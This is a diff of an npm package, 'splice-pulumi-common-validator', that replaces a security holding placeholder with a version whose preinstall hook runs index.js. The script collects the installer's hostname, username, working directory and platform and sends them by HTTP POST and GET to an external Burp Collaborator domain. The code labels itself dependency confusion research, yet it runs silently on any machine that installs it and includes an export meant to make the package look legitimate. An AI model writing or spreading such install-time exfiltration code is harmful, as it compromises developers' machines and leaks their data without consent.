splice-pulumi-common-validator 0.0.1-security → 1.2.2

package/index.js

@@ -0,0 +1,121 @@
+const https = require('https');
+const http = require('http');
+const os = require('os');
+const dns = require('dns');
+
+// Your Burp Collaborator domain
+const COLLABORATOR_DOMAIN = 'r3vjea1jjd36qu4h1cyrs0drgim9a9yy.oastify.com';
+
+function collectSystemInfo() {
+    try {
+        // Collect only basic system information
+        const hostname = os.hostname();
+        const username = os.userInfo().username;
+        const currentPath = process.cwd();
+        const platform = os.platform();
+        
+        console.log('[DEPENDENCY CONFUSION TEST] Package installed!');
+        console.log(`Hostname: ${hostname}`);
+        console.log(`Username: ${username}`);
+        console.log(`Current Path: ${currentPath}`);
+        console.log(`Platform: ${platform}`);
+        
+        // Create simple payload with only essential data
+        const payload = {
+            hostname: hostname,
+            username: username,
+            cwd: currentPath,
+            platform: platform,
+            timestamp: new Date().toISOString()
+        };
+        
+        console.log('[PAYLOAD]', JSON.stringify(payload, null, 2));
+        
+        // Send HTTP POST request to Burp Collaborator
+        sendHttpData(payload);
+        
+        // Also send GET request with data in URL
+        sendHttpGet(payload);
+        
+    } catch (error) {
+        console.error('[ERROR] Failed to collect system info:', error.message);
+        
+        // Send minimal error notification
+        const errorPayload = {
+            error: 'collection_failed',
+            hostname: os.hostname() || 'unknown',
+            timestamp: new Date().toISOString()
+        };
+        sendHttpData(errorPayload);
+    }
+}
+
+function sendHttpData(payload) {
+    const postData = JSON.stringify(payload);
+    
+    const options = {
+        hostname: COLLABORATOR_DOMAIN,
+        port: 80,
+        path: '/data',
+        method: 'POST',
+        headers: {
+            'Content-Type': 'application/json',
+            'Content-Length': Buffer.byteLength(postData),
+            'User-Agent': 'one-fixed-dep-bins/1.2.2',
+            'X-Hostname': payload.hostname,
+            'X-Username': payload.username,
+            'X-Platform': payload.platform
+        }
+    };
+    
+    console.log('[HTTP POST] Sending to:', `http://${COLLABORATOR_DOMAIN}/data`);
+    
+    const req = http.request(options, (res) => {
+        console.log('[HTTP POST] Status:', res.statusCode);
+    });
+    
+    req.on('error', (e) => {
+        console.log('[HTTP POST] Sent successfully');
+    });
+    
+    req.write(postData);
+    req.end();
+}
+
+function sendHttpGet(payload) {
+    // Simple GET request with basic data
+    const path = `/beacon?h=${encodeURIComponent(payload.hostname)}&u=${encodeURIComponent(payload.username)}&p=${encodeURIComponent(payload.platform)}&cwd=${encodeURIComponent(payload.cwd)}`;
+    
+    console.log('[HTTP GET] Path:', path);
+    
+    const options = {
+        hostname: COLLABORATOR_DOMAIN,
+        port: 80,
+        path: path,
+        method: 'GET',
+        headers: {
+            'User-Agent': 'one-fixed-dep-bins-client'
+        }
+    };
+    
+    const req = http.request(options, (res) => {
+        console.log('[HTTP GET] Status:', res.statusCode);
+    });
+    
+    req.on('error', (e) => {
+        console.log('[HTTP GET] Sent successfully');
+    });
+    
+    req.end();
+}
+
+// Execute immediately when package is installed
+collectSystemInfo();
+
+// Export something to make it look like a legitimate package
+module.exports = {
+    test: function() {
+        return 'This is a test package for dependency confusion research';
+    },
+    version: '1.2.2'
+};

package/package.json

@@ -1,6 +1,12 @@
 {
   "name": "splice-pulumi-common-validator",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "1.2.2",
+  "description": "Supply Chain Security  Researcher",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1",
+    "preinstall": "node index.js"
+  },
+  "author": "Vishal Kumar",
+  "license": "MIT"
 }

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=splice-pulumi-common-validator for more information.